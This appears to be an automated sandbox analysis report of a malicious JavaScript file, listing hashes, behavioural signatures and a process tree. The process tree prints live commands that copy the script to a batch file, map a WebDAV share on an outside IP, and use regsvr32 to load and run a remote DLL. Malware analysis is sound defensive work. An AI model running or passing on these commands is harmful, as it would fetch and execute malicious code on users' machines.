Analysis

  • max time kernel
    150s
  • max time network
    152s
  • platform
    windows10-2004_x64
  • resource
    win10v2004-20240709-en
  • resource tags

    arch:x64arch:x86image:win10v2004-20240709-enlocale:en-usos:windows10-2004-x64system
  • submitted
    10/07/2024, 16:29

General

  • Target

    164211735250910870.js

  • Size

    5KB

  • MD5

    a40c0203c0640f60b3535ea16c225c1b

  • SHA1

    89c9fb733ef392b18690275738ec3fc31aaec1cc

  • SHA256

    29a8590fbd3a20ef5e475e376e7fab320f5b9c3878ac2bac3b356aada1dba488

  • SHA512

    0db7915d23a989ae9b3c5ff34cc2b36e630b28a73b736b2de04c9a1ee168856c05458f9661d4ffe4dcead62146ee04a836b620955f570fe3b3d4e20bc72e64f7

  • SSDEEP

    96:g2+ahF4FQrQ3bte+GexI1bQ/PlScBBLi90WB0VR2SSJcSe+OtSIqB0VsSgSBLmzg:zaF02RVVI1bYPR20MokK

Score
7/10

Malware Config

Signatures

  • Checks computer location settings 2 TTPs 1 IoCs

    Looks up country code configured in the registry, likely geofence.

  • Command and Scripting Interpreter: JavaScript 1 TTPs
  • Enumerates physical storage devices 1 TTPs

    Attempts to interact with connected storage/optical drive(s).

  • Runs net.exe
  • Suspicious use of WriteProcessMemory 6 IoCs

Processes

  • C:\Windows\system32\wscript.exe
    wscript.exe C:\Users\Admin\AppData\Local\Temp\164211735250910870.js
    1⤵
    • Checks computer location settings
    • Suspicious use of WriteProcessMemory
    PID:1360
    • C:\Windows\System32\cmd.exe
      "C:\Windows\System32\cmd.exe" /k copy "C:\Users\Admin\AppData\Local\Temp\164211735250910870.js" "C:\Users\Admin\\dvyjua.bat" && "C:\Users\Admin\\dvyjua.bat"
      2⤵
      • Suspicious use of WriteProcessMemory
      PID:404
      • C:\Windows\system32\net.exe
        net use \\45.9.74.13@8888\DavWWWRoot\
        3⤵
          PID:5080
        • C:\Windows\system32\regsvr32.exe
          regsvr32 /s \\45.9.74.13@8888\DavWWWRoot\544.dll
          3⤵
            PID:1348

      Network

      MITRE ATT&CK Enterprise v15

      Replay Monitor

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      Downloads

      • C:\Users\Admin\dvyjua.bat

        Filesize

        5KB

        MD5

        a40c0203c0640f60b3535ea16c225c1b

        SHA1

        89c9fb733ef392b18690275738ec3fc31aaec1cc

        SHA256

        29a8590fbd3a20ef5e475e376e7fab320f5b9c3878ac2bac3b356aada1dba488

        SHA512

        0db7915d23a989ae9b3c5ff34cc2b36e630b28a73b736b2de04c9a1ee168856c05458f9661d4ffe4dcead62146ee04a836b620955f570fe3b3d4e20bc72e64f7